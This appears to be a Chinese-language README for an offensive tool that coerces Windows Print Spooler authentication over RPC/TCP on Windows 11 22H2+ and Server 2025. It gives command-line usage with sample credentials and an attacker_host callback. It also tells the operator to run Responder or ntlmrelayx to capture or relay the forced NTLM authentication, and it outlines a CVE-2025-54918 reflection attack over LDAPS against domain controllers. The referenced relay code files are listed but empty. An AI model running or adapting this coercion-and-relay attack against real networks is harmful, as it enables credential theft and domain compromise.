基于 TCP 的纯 RPC 打印机后台处理程序触发

适用于 Windows 11 22H2+ / Windows Server 2025

用法

printerbugnew.py <target_host> [username] [password] [domain] [attacker_host] [tcp_port]

示例

匿名连接

printerbugnew.py 192.168.1.100

使用凭据

printerbugnew.py 192.168.1.100 admin Password123 DOMAIN

触发回连到其他主机（攻击者）

printerbugnew.py 192.168.1.100 admin Password123 DOMAIN 192.168.1.50

使用指定的 RPC 端口

printerbugnew.py 192.168.1.100 admin Password123 DOMAIN 192.168.1.50 49152

备注

目标必须是 Windows 11 22H2+ 或 Server 2025（默认使用 RPC over TCP）
对于旧版本，spoolss 使用基于命名管道（SMB）的 RPC
确保端口 135 和动态 RPC 端口（49152-65535）已打开
在 attacker_host 上启动 Responder 或 ntlmrelayx 以捕获认证
在这种情况下，由于后台打印程序提供的 SPN 错误，Kerberos 会失败，从而强制回退到 NTLM。
通过查询目标 TCP/135 上的终结点映射器（EPM）来查找目标后台打印程序的 RPC/TCP 端口，以获取接口 UUID 12345678-1234-abcd-ef00-0123456789ab。你可以使用 rpcdump.py、PortQry 或任何你喜欢的工具 —— 或者直接在这段代码中实现 EPM 查询 ;)
基于 https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py

针对 CVE-2025-54918 的更新

这种通过反射实现的利用仅适用于 W2025 且使用“新”printerbug（DCERPC 而不是命名管道）的情况。你需要对 ntlmrelayx 进行几处修改才能使其工作。之后，你可以在 W2025 域控上远程触发 printer bug，并通过 LDAPS(!) 反射认证，即使通道绑定（Channel Bindings）是必需的

ldaprelayclient.py:

rpcrelayserver.py

然后中继 ;)